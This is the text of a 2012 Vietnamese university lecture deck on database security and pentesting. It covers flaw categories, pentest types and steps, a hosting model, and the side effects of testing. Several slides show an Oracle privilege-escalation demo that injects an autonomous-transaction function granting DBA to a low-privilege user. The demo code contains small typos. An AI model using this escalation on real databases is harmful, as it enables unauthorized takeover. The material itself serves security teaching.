Nguyễn Thanh Tùng Khoa Khoa học & Kỹ thuật Máy tính Đại học Bách khoa TPHCM 1 DATABASE SECURITY 29/12/2012
Nguyễn Thanh Tùng
Khoa Khoa học & Kỹ thuật Máy tính
Đại học Bách khoa TPHCM
1
DATABASE SECURITY
29/12/2012
Nội dung
29/12/2012 SBS 2012 2
Lỗ hổng bảo mật trong cơ sở dữ liệu
Pentesting
Mô hình Housing service provider
Hiệu ứng phụ trong pentesting
Lỗ hổng bảo mật
3
Lỗ hổng bảo mật (security flaw) là tập hợp những điều
kiện mà cho phép một kẻ xấu tấn công làm vi phạm
những chính sách bảo mật một cách tường minh hoặc
ngầm.
29/12/2012
Lỗ hổng bảo mật trong DBMS
29/12/2012 SBS 2012 4
dbms_jvm_exp_perms
owbrepos_owner.wb_olap_aw_remove_solve_id
ctxsys.drvxtabc.Create_Tables
sys.lt.CompressWorkspace
sys.lt.MergeWorkspace
sys.lt.RemoveWorkspace
xdb.xdb_pitrig_pkg
xdb.xdb_pitrig_pkg.pitrig_truncate
xdb.xdb_pitrig_pkg.pitrig_drop
dbms_assert
…
Phân loại lỗ hổng bảo mật CSDL
SBS 2012 5
Database security flaws
System security settings
Audit settings
System configuration
Users/Accounts
Password policy
Account settings
Privileges/Roles
Roles Privileges
Packages/ Procedures/ Functions
29/12/2012
Nội dung
29/12/2012 SBS 2012 6
Lỗ hổng bảo mật trong cơ sở dữ liệu
Pentesting
Mô hình Housing service provider
Hiệu ứng phụ trong pentesting
Pentesting
SBS 2012 7
Pentesting là một kỹ thuật giả lập sự tấn công nhằm
đánh giá độ bảo mật của hệ thống máy tính, mạng,
hoặc cơ sở dữ liệu.
Phân tích hệ thống một cách chủ động để tìm ra bất kỳ
điểm yếu, lỗ hổng về bảo mật.
Người đặc tả pentesting như một kẻ tấn công thật sự để
phân tích, khai thác những lỗ hổng bảo mật của hệ
thống.
Tấn công thành công chứng tỏ có lỗ hổng trong hệ
thống và ngược lại.
29/12/2012
Phân loại pentesting
SBS 2012 8
Information base
Black box
White box
Grey box
Aggressiveness
Passive
Cautious
Calculated
Aggressive
Scope
Full
Limited
Focused
Starting point
Inside
Outside
29/12/2012
Minh họa pentesting
SBS 2012 9
Tạo user giả lập tấn công
create user NORMAL_USER identified by normaluser;
grant CREATE SESSION to NORMAL_USER;
grant CREATE PROCEDURE to NORMAL_USER;
grant EXECUTE ON
SYS.DBMS_METADATA.GET_DDL to
NORMAL_USER;
29/12/2012
Minh họa pentesting
SBS 2012 10
Giả lập tấn công vào database orcl bằng tài khoản giả lập vừa tạo
Connect Normal_user/normaluser@orcl;
CREATE OR REPLACE FUNCTION "NORMAL_USER"."ATTACK_FUNC" return vachar2
authid current_user as
pragma autonomous_transaction;
BEGIN EXECUTE IMMEDIATE 'GRANT DBA TO NORMAL_USER';
COMMIT;
RETURN '';
END;
/
BEGIN SELECT SYS.DBMS_METADATA.GET_DDL('''||NORMAL_USER.ATTACKER_FUNC()||''','') FROM dual;
END;
/
29/12/2012
Minh họa pentesting
SBS 2012 11
Kiểm tra việc tấn công: connect system/adM1N27@orcl;
declare num NUMBER;
begin select count(*) into num from DBA_ROLE_PRIVS where granted_role = 'DBA' and grantee = 'NORMAL_USER';
If (num > 1) Then
DBMS_OUTPUT.PUTLINE('RISK AT DBMS_METADATA.GET_DDL()');
END IF
end;
/
Khôi phục lại trạng thái ban đầu: drop user NORMAL_USER CASCADE;
exit;
29/12/2012
Các bước trong pentesting
SBS 2012 12
1 • Lập kế hoạch và chuẩn bị
2 • Thu thập thông tin và phân tích
3 • Xác định các lỗ hổng
4 • Giả lập tấn công
5 • Phân tích và báo cáo
6 • Khôi phục trạng thái ban đầu
29/12/2012
Các bước trong Pentesting
SBS 2012 13
Client
1. Planning & Preparation
2. Information gathering
Target database
5. Analysis & Reporting
3. Vulnerability detection
4. Penetration attempt
6. Cleaning up
Scanning server
Developer
29/12/2012
29/12/2012 SBS 2012 14
Nội dung
29/12/2012 SBS 2012 15
Lỗ hổng bảo mật trong cơ sở dữ liệu
Pentesting
Mô hình Housing service provider
Hiệu ứng phụ trong pentesting
Mô hình Housing service provider
29/12/2012 SBS 2012 16
Client
Client A’ DB
Client A’s server
Client B’ DB
Client B’s server
Housing provider
Network
<HTTP, SOAP, SSL>
Nội dung
29/12/2012 SBS 2012 17
Lỗ hổng bảo mật trong cơ sở dữ liệu
Pentesting
Mô hình Housing service provider
Hiệu ứng phụ trong pentesting
Database
security
Bảo mật thông tin trong cơ sở dữ liệu liên quan đến
việc đảm bảo dữ liệu an toàn ở bốn khía cạnh sau:
Hiệu ứng phụ trong Pentesting
SBS 2012 18 29/12/2012
Tính bí mật
SBS 2012 19
Pentester
Target database
Information gathering
Sensitive information:
IP address, port,
Database name,…
29/12/2012
Tính toàn vẹn
SBS 2012 20
Object A
Pentesting
Access
Object A
Pentester
Normal users
29/12/2012
Tính sẵn sàng
SBS 2012 21
Pentester
Normal users
Target database
Pentesting
Access
29/12/2012
Tính chống thoái thác
SBS 2012 22
Object A
Pentesting
Attack
Object A
Pentester
Hacker
29/12/2012
Nội dung
29/12/2012 SBS 2012 23
Lỗ hổng bảo mật trong cơ sở dữ liệu
Pentesting
Mô hình Housing service provider
Hiệu ứng phụ trong pentesting
Tài liệu tham khảo
SBS 2012 24
T.K. Dang, Q.C. Truong, P.H. Cu-Nguyen, T.Q.N. Tran, “An Extensible Framework for Detecting Database Systems Flaws”, ACOMP, Ho Chi Minh City, Vietnam, 2007.
T.K. Dang, T.T. Nguyen, T.Q.N. Tran, Q.C. Truong.: “Security Issues in Housing Service Outsourcing Model with Database Systems. Technical Report”, http://www.cse.hcmut.edu.vn/~asis, 2010.
T.Q.N. Tran, T.K. Dang, “Towards Side-Effects-free Database Penetration Testing”, Journal of Wireless Mobile Networks, Ubiquitous Computing, and Dependable Applications, ISSN 2093-5374, 1(1), 72-85, June 2010.
R. B. Natan, “How to Secure and Audit Oracle 10g, 11g”, Auerbach Publications, 2009.
D. Knox, “Effective Oracle Database 10g Security by Design”, Oracle Press, 2004.
L. David, A. Chris, H. John, G. Bill, “The Database Hacker’s Handbook: Defending Database Servers”, Wiley Publishing, 2005.
J.P. McDermot: “Attack Net Penetration Testing”. Proceedings of the workshop on new security paradigms 2000
O. M. Dahl, “Using Coloured Petri Nets in Penetration Testing”, Master’s thesis, Gjovik University College, 2005
S. Noel, L. Wang, A. Singhal, S. Jajodia, “Measuring Security Risk of Networks Using Attack Graphs”, International Journal of Next-Generation Computing, Vol. 1, No. 1, 135-147, 2010
29/12/2012
SBS 2012 25 29/12/2012
Thank you
Q&A